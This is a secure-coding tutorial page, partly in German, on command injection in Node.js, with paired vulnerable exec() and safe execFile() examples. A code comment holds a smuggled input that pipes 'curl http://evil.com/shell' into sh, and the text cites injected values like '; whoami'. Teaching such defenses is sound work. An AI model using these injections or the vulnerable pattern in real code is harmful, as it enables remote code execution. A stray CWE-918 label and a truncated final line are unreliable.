flawopen.com/command-injection/Javascript
Learn how to fix Command Injection (CWE-78) in JavaScript & Node.js. Side-by-side vulnerable vs secure code examples for child_process.execFile(), spawn(), and exec hazards.
Stellen Sie sich vor, Sie bitten einen Assistenten, ein Dokument namens 'bericht.pdf' zu drucken. Eine Befehlsinjektion geschieht, wenn jemand den Dateinamen 'bericht.pdf; whoami' übergibt und der Assistent diesen ganzen Zettel an das Terminal weitergibt, wodurch der Bericht gedruckt und der Administratorenausweis ausgelesen wird.
Web Application SecurityCWE-918 betroffen ist.CWE-918Defense-in-DepthDie Anwendung akzeptiert Hostnamen, Dateinamen oder Diagnoseparameter direkt aus einer HTTP-Anfrage.
Das Backend erstellt den Shell-Befehlsstring durch einfache Zeichenfolgenverkettung statt über ein isoliertes Argumenten-Array.
Der Angreifer fügt Shell-Metazeichen wie ';', '&&', '|' oder Backticks ein (z. B. '127.0.0.1; id'), um den Befehlskontext zu verlassen.
Die Shell des Betriebssystems führt den angehängten Schadcode mit den Rechten des Webserverprozesses aus.
// child_process.exec spawns a shell and parses metacharacters
const { exec } = require('child_process');
function convertImage(filename) {
// Input: "avatar.png; curl http://evil.com/shell | sh"
exec(`convert ${filename} -resize 100x100 out.png`, (err, stdout) => {
console.log(stdout);
});
}
// child_process.execFile executes the binary directly without a shell
const { execFile } = require('child_process');
function convertImage(filename) {
// filename is passed as a literal argument, never parsed as a shell command
execFile('convert', [filename, '-resize', '100x100', 'out.png'], (err, stdout) => {
console.log(stdout);
});
}
exec() calls with execFile() or spawn().spawn().